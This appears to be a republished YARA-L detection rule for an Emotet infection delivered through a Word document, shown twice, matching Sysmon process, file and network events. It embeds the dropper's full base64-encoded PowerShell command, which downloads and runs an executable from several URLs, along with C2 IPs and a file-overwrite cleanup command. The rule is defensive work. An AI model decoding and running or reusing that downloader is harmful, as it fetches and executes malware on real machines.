emotet_through_word_document_sysmon_behavior

Description

This content detects a sample of Emotet dropped through a Microsoft Word document. July saw an increase in Emotet attacks and samples License: https://github.com/Neo23x0/sigma/blob/master/LICENSE.Detection.Rules.md.

Query · yara_l

events:
((((((((((((($selection1.metadata.product_event_type = "1" and $selection1.target.process.file.full_path = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" and $selection1.target.process.command_line = "powersheLL -e JAB6AGUAaQB0AG0AZQBpAHEAdQBzAGkAeABoAGEAaAA9ACcAeQBhAHcAcQB1AGkAbwBwAHQAbwBhAHkAdgBvAGkAawBrAG8AZQB6AGcAYQBlAHgAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBgAGUAYABjAGAAVQBSAGkAVABgAHkAUAByAGAATwB0AG8AQwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJAB0AGgAdQBhAHQAIAA9ACAAJwAxADMANwAnADsAJABzAGkAZQBxAHUAPQAnAHIAdQB1AG4AYwBoAG8AbwBkAHIAdQBhAGMAegBvAGUAeQAnADsAJABiAHUAbQBjAGgAbwB1AG4AaABhAG8AZgBjAGkAdgBzAG8AdQBtAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAB0AGgAdQBhAHQAKwAnAC4AZQB4AGUAJwA7ACQAdwBhAGcAbQB1AHUAdABoAGIAbwBpAHkAZABvAGcAdwBvAHUAcgBuAG8AdQB2AD0AJwB5AGUAaQBmAGIAdQBzACcAOwAkAGsAYQBmAHMAbwBpAGgAdABoAGEAbwBuAHIAYQB1AHcAcgB1AGEAagBwAG8AbwBuAD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcAZQBiAGMATABpAEUATgB0ADsAJABsAG8AYQBiAHQAaABlAG4AZgBpAGUAYgA9ACcAaAB0AHQAcAA6AC8ALwBhAHIAeQBhAGUAbgB0AGUAcgBwAHIAaQBzAGUAcwByAGIAbAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQBKADcAMgA3ADUAMwAyAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbwBhAGsAZQBuAG8ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHQAdgB5AFAATwAvACoAaAB0AHQAcABzADoALwAvAGMAaABhAHQAZgBsAGEAaQByAC4AYwBvAG0ALwBnAGUAbgBlAHIAYQBsAGwALwBQAEYAMABkAC8AKgBoAHQAdABwADoALwAvAGUAbQBhAHIAYwBsAG8AZgBpAHQAbgBlAHMAcwBhAGMAYQBkAGUAbQB5AC4AYwBvAG0ALwB4AGwAbgB3AGsALwBmAGQASgBJADMAMgA2ADIAMgAvACoAaAB0AHQAcAA6AC8ALwBkAHUAbwBjAGwAaQBlAHUAMgA0ADcALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwAzADQALwAnAC4AIgBzAHAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHMAYQBpAHcAeABlAGkAcgBxAHUAdQB1AHAAZwBlAHUAdwB0AG8AYQBxAHUAPQAnAHgAbwB1AGsAdwBpAGcAcQB1AGUAaQBmAGcAZQBvAHEAdQBtAGUAbwBiACcAOwBmAG8AcgBlAGEAYwBoACgAJABtAGkAZQBtAGQAdQBhAGQAeQBvAHUAbgBxAHUAYQB1AHgAdABhAGkAdgBjAGEAZQBoACAAaQBuACAAJABsAG8AYQBiAHQAaABlAG4AZgBpAGUAYgApAHsAdAByAHkAewAkAGsAYQBmAHMAbwBpAGgAdABoAGEAbwBuAHIAYQB1AHcAcgB1AGEAagBwAG8AbwBuAC4AIgBkAE8AVwBgAE4AbABgAE8AYQBkAGYASQBMAEUAIgAoACQAbQBpAGUAbQBkAHUAYQBkAHkAbwB1AG4AcQB1AGEAdQB4AHQAYQBpAHYAYwBhAGUAaAAsACAAJABiAHUAbQBjAGgAbwB1AG4AaABhAG8AZgBjAGkAdgBzAG8AdQBtACkAOwAkAHoAdQBqAD0AJwBkAGEAdAB0AGEAZQB4AG0AZQBhAHQAaABnAGUAcAB6AG8AZQBtACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQAYgB1AG0AYwBoAG8AdQBuAGgAYQBvAGYAYwBpAHYAcwBvAHUAbQApAC4AIgBsAGUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwA5ADMANwAyACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBFAEEAVABFACIAKAAkAGIAdQBtAGMAaABvAHUAbgBoAGEAbwBmAGMAaQB2AHMAbwB1AG0AKQA7ACQAdABoAG8AbwB2AD0AJwBqAGEAZQBzAGoAYQBxAHUAcgB1AHUAZgAnADsAYgByAGUAYQBrADsAJAB0AGgAZQBlAG4AZwBpAGEAdwBqAGkAbwBwAGwAbwBpAHMAPQAnAHEAdQBvAGIAZABpAGUAZABjAGgAaQBxAHUAcABvAHUAbgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABuAGEAbwBzAGgAdQBuAGgAYQB1AGsAdABlAHQAZgBpAG8AeQBnAGEAdQBqAD0AJwB3AGkAZQB0AGYAYQB6AHQAaABvAG8AZwBtAG8AdQBjAGgAJwA=" and $selection1.principal.process.file.full_path = "C:\\Windows\\System32\\wbem\\WmiPrvSE.exe") or ($selection1.metadata.product_event_type = "11" and $selection1.target.process.file.full_path = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powersheLL.exe" and re.regex($selection1.target.registry.registry_key, `.*\\AppData\\Local\\Temp\\__PSScriptPolicyTest.*\.ps1`))) or ($selection1.metadata.product_event_type = "23" and $selection1.target.process.file.full_path = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powersheLL.exe" and re.regex($selection1.target.registry.registry_key, `.*\\AppData\\Local\\Temp\\__PSScriptPolicyTest.*\.ps1`))) or ($selection1.metadata.product_event_type = "11" and $selection1.target.process.file.full_path = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powersheLL.exe" and re.regex($selection1.target.file.full_path, `C:\\Users.*\.exe`))) or ($selection1.metadata.product_event_type = "3" and $selection1.target.process.file.full_path = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" and $selection1.target.ip = "50.62.168.3")) or ($selection1.metadata.product_event_type = "11" and re.regex($selection1.target.process.file.full_path, `C:\\Users.*\.exe`) and re.regex($selection1.target.file.full_path, `.*\\AppData\\Local.*`))) or ($selection1.metadata.product_event_type = "1" and re.regex($selection1.target.process.file.full_path, `.*\\AppData\\Local\\NlsData0009\\url\.exe`))) or ($selection1.metadata.product_event_type = "3" and re.regex($selection1.target.process.file.full_path, `.*\\AppData\\Local\\NlsData0009\\url\.exe`) and $selection1.target.ip = "181.30.69.50")) or ($selection1.metadata.product_event_type = "11" and re.regex($selection1.target.process.file.full_path, `.*\\AppData\\Local\\NlsData0009\\url\.exe`) and re.regex($selection1.target.file.full_path, `.*\\AppData\\Local\\NlsData0009\\KBDYBAa52\.exe`))) or ($selection1.metadata.product_event_type = "1" and re.regex($selection1.target.process.file.full_path, `.*\\AppData\\Local\\NlsData0009\\KBDYBAa52\.exe`) and re.regex($selection1.target.process.command_line, `.*zAMAACAAAABOAGwAcwBEAGEAdABhADAAMAAwADkAXAB1AHIAbAAAAA==`))) or ($selection1.metadata.product_event_type = "11" and re.regex($selection1.target.process.file.full_path, `.*\\AppData\\Local\\NlsData0009\\url\.exe`) and re.regex($selection1.target.file.full_path, `.*\\AppData\\Local\\NlsData0009\\AppointmentActivationa69\.exe`))) or ($selection1.metadata.product_event_type = "1" and $selection1.target.process.file.full_path = "C:\\Windows\\SysWOW64\\cmd.exe" and re.regex($selection1.target.process.command_line, `C:\\Windows\\System32\\cmd\.exe  /c ping\.exe -n 6 127\.0\.0\.1 &  type C:\\Windows\\System32\\calc\.exe > .*\\AppData\\Local\\NlsData0009\\AppointmentActivationa69\.exe`) and re.regex($selection1.principal.process.file.full_path, `.*\\AppData\\Local\\NlsData0009\\AppointmentActivationa69\.exe`))) or ($selection1.metadata.product_event_type = "1" and $selection1.target.process.file.full_path = "C:\\Windows\\SysWOW64\\PING.EXE" and $selection1.target.process.command_line = "ping.exe  -n 6 127.0.0.1"))

  condition:
    $selection1
Raw source emotet_through_word_document_sysmon_behavior · YARA-L
Esc
Published by chronicle/detection-rules ↗, licensed under Apache 2.0 ↗. Reproduced here unmodified. 
rule emotet_through_word_document_sysmon_behavior {
 meta:
    author = "Lee Archinal"
    description = "This content detects a sample of Emotet dropped through a Microsoft Word document. July saw an increase in Emotet attacks and samples  License: https://github.com/Neo23x0/sigma/blob/master/LICENSE.Detection.Rules.md."
    reference = "https://tdm.socprime.com/tdm/info/2tYN2TlMxm0a"
    version = "0.01"
    created = "2020/07/20"
    product = "windows"
    service = "sysmon"
    mitre = "defense_evasion, execution, command_and_control, t1059.001, t1070.004, t1071.001"

  events:
((((((((((((($selection1.metadata.product_event_type = "1" and $selection1.target.process.file.full_path = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" and $selection1.target.process.command_line = "powersheLL -e JAB6AGUAaQB0AG0AZQBpAHEAdQBzAGkAeABoAGEAaAA9ACcAeQBhAHcAcQB1AGkAbwBwAHQAbwBhAHkAdgBvAGkAawBrAG8AZQB6AGcAYQBlAHgAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBgAGUAYABjAGAAVQBSAGkAVABgAHkAUAByAGAATwB0AG8AQwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJAB0AGgAdQBhAHQAIAA9ACAAJwAxADMANwAnADsAJABzAGkAZQBxAHUAPQAnAHIAdQB1AG4AYwBoAG8AbwBkAHIAdQBhAGMAegBvAGUAeQAnADsAJABiAHUAbQBjAGgAbwB1AG4AaABhAG8AZgBjAGkAdgBzAG8AdQBtAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAB0AGgAdQBhAHQAKwAnAC4AZQB4AGUAJwA7ACQAdwBhAGcAbQB1AHUAdABoAGIAbwBpAHkAZABvAGcAdwBvAHUAcgBuAG8AdQB2AD0AJwB5AGUAaQBmAGIAdQBzACcAOwAkAGsAYQBmAHMAbwBpAGgAdABoAGEAbwBuAHIAYQB1AHcAcgB1AGEAagBwAG8AbwBuAD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcAZQBiAGMATABpAEUATgB0ADsAJABsAG8AYQBiAHQAaABlAG4AZgBpAGUAYgA9ACcAaAB0AHQAcAA6AC8ALwBhAHIAeQBhAGUAbgB0AGUAcgBwAHIAaQBzAGUAcwByAGIAbAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQBKADcAMgA3ADUAMwAyAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbwBhAGsAZQBuAG8ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHQAdgB5AFAATwAvACoAaAB0AHQAcABzADoALwAvAGMAaABhAHQAZgBsAGEAaQByAC4AYwBvAG0ALwBnAGUAbgBlAHIAYQBsAGwALwBQAEYAMABkAC8AKgBoAHQAdABwADoALwAvAGUAbQBhAHIAYwBsAG8AZgBpAHQAbgBlAHMAcwBhAGMAYQBkAGUAbQB5AC4AYwBvAG0ALwB4AGwAbgB3AGsALwBmAGQASgBJADMAMgA2ADIAMgAvACoAaAB0AHQAcAA6AC8ALwBkAHUAbwBjAGwAaQBlAHUAMgA0ADcALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwAzADQALwAnAC4AIgBzAHAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHMAYQBpAHcAeABlAGkAcgBxAHUAdQB1AHAAZwBlAHUAdwB0AG8AYQBxAHUAPQAnAHgAbwB1AGsAdwBpAGcAcQB1AGUAaQBmAGcAZQBvAHEAdQBtAGUAbwBiACcAOwBmAG8AcgBlAGEAYwBoACgAJABtAGkAZQBtAGQAdQBhAGQAeQBvAHUAbgBxAHUAYQB1AHgAdABhAGkAdgBjAGEAZQBoACAAaQBuACAAJABsAG8AYQBiAHQAaABlAG4AZgBpAGUAYgApAHsAdAByAHkAewAkAGsAYQBmAHMAbwBpAGgAdABoAGEAbwBuAHIAYQB1AHcAcgB1AGEAagBwAG8AbwBuAC4AIgBkAE8AVwBgAE4AbABgAE8AYQBkAGYASQBMAEUAIgAoACQAbQBpAGUAbQBkAHUAYQBkAHkAbwB1AG4AcQB1AGEAdQB4AHQAYQBpAHYAYwBhAGUAaAAsACAAJABiAHUAbQBjAGgAbwB1AG4AaABhAG8AZgBjAGkAdgBzAG8AdQBtACkAOwAkAHoAdQBqAD0AJwBkAGEAdAB0AGEAZQB4AG0AZQBhAHQAaABnAGUAcAB6AG8AZQBtACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQAYgB1AG0AYwBoAG8AdQBuAGgAYQBvAGYAYwBpAHYAcwBvAHUAbQApAC4AIgBsAGUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwA5ADMANwAyACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAGAAUgBFAEEAVABFACIAKAAkAGIAdQBtAGMAaABvAHUAbgBoAGEAbwBmAGMAaQB2AHMAbwB1AG0AKQA7ACQAdABoAG8AbwB2AD0AJwBqAGEAZQBzAGoAYQBxAHUAcgB1AHUAZgAnADsAYgByAGUAYQBrADsAJAB0AGgAZQBlAG4AZwBpAGEAdwBqAGkAbwBwAGwAbwBpAHMAPQAnAHEAdQBvAGIAZABpAGUAZABjAGgAaQBxAHUAcABvAHUAbgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABuAGEAbwBzAGgAdQBuAGgAYQB1AGsAdABlAHQAZgBpAG8AeQBnAGEAdQBqAD0AJwB3AGkAZQB0AGYAYQB6AHQAaABvAG8AZwBtAG8AdQBjAGgAJwA=" and $selection1.principal.process.file.full_path = "C:\\Windows\\System32\\wbem\\WmiPrvSE.exe") or ($selection1.metadata.product_event_type = "11" and $selection1.target.process.file.full_path = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powersheLL.exe" and re.regex($selection1.target.registry.registry_key, `.*\\AppData\\Local\\Temp\\__PSScriptPolicyTest.*\.ps1`))) or ($selection1.metadata.product_event_type = "23" and $selection1.target.process.file.full_path = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powersheLL.exe" and re.regex($selection1.target.registry.registry_key, `.*\\AppData\\Local\\Temp\\__PSScriptPolicyTest.*\.ps1`))) or ($selection1.metadata.product_event_type = "11" and $selection1.target.process.file.full_path = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powersheLL.exe" and re.regex($selection1.target.file.full_path, `C:\\Users.*\.exe`))) or ($selection1.metadata.product_event_type = "3" and $selection1.target.process.file.full_path = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" and $selection1.target.ip = "50.62.168.3")) or ($selection1.metadata.product_event_type = "11" and re.regex($selection1.target.process.file.full_path, `C:\\Users.*\.exe`) and re.regex($selection1.target.file.full_path, `.*\\AppData\\Local.*`))) or ($selection1.metadata.product_event_type = "1" and re.regex($selection1.target.process.file.full_path, `.*\\AppData\\Local\\NlsData0009\\url\.exe`))) or ($selection1.metadata.product_event_type = "3" and re.regex($selection1.target.process.file.full_path, `.*\\AppData\\Local\\NlsData0009\\url\.exe`) and $selection1.target.ip = "181.30.69.50")) or ($selection1.metadata.product_event_type = "11" and re.regex($selection1.target.process.file.full_path, `.*\\AppData\\Local\\NlsData0009\\url\.exe`) and re.regex($selection1.target.file.full_path, `.*\\AppData\\Local\\NlsData0009\\KBDYBAa52\.exe`))) or ($selection1.metadata.product_event_type = "1" and re.regex($selection1.target.process.file.full_path, `.*\\AppData\\Local\\NlsData0009\\KBDYBAa52\.exe`) and re.regex($selection1.target.process.command_line, `.*zAMAACAAAABOAGwAcwBEAGEAdABhADAAMAAwADkAXAB1AHIAbAAAAA==`))) or ($selection1.metadata.product_event_type = "11" and re.regex($selection1.target.process.file.full_path, `.*\\AppData\\Local\\NlsData0009\\url\.exe`) and re.regex($selection1.target.file.full_path, `.*\\AppData\\Local\\NlsData0009\\AppointmentActivationa69\.exe`))) or ($selection1.metadata.product_event_type = "1" and $selection1.target.process.file.full_path = "C:\\Windows\\SysWOW64\\cmd.exe" and re.regex($selection1.target.process.command_line, `C:\\Windows\\System32\\cmd\.exe  /c ping\.exe -n 6 127\.0\.0\.1 &  type C:\\Windows\\System32\\calc\.exe > .*\\AppData\\Local\\NlsData0009\\AppointmentActivationa69\.exe`) and re.regex($selection1.principal.process.file.full_path, `.*\\AppData\\Local\\NlsData0009\\AppointmentActivationa69\.exe`))) or ($selection1.metadata.product_event_type = "1" and $selection1.target.process.file.full_path = "C:\\Windows\\SysWOW64\\PING.EXE" and $selection1.target.process.command_line = "ping.exe  -n 6 127.0.0.1"))

  condition:
    $selection1
}

Detection rules belong to the projects that publish them and remain under their own licenses. This site indexes and links to them; it claims no rights in them.